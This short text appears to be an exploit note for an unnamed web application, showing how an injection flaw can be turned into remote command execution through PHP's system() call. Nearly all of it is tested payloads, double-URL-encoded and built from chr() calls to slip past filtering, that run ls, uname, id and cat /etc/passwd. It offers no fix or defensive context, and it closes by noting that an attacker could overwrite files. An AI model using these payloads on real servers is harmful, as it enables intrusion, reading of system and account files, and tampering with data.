Instead of just injecting mysql commands you can use system(); to virtually
execute any command you want.

here's some examples i've already tested :

system(ls -l);
--------------
%2527%252esystem(chr(108)%252echr(115)%252echr(32)%252echr(45)%252echr(108))
%252echr(59)%252e%2527

system(uname -a);
-----------------
%2527%252esystem(chr(117)%252echr(110)%252echr(97)%252echr(109)%252echr(101)
%252echr(32)%252echr(45)%252echr(97))%252echr(59)%252e%2527

system(id);
-----------
%2527%252esystem(chr(105)%252echr(100))%252echr(59)%252e%2527

system(/bin/cat /etc/passwd);
-----------------------------
%2527%252esystem(chr(47)%252echr(98)%252echr(105)%252echr(110)%252echr(47)%2
52echr(99)%252echr(97)%252echr(116)%252echr(32)%252echr(47)%252echr(101)%252
echr(116)%252echr(99)%252echr(47)%252echr(112)%252echr(97)%252echr(115)%252e
chr(115)%252echr(119)%252echr(100))%252echr(59)%252e%2527

with the wrong permissions set someone exploiting this vulnerability would
be able to overwrite anything.
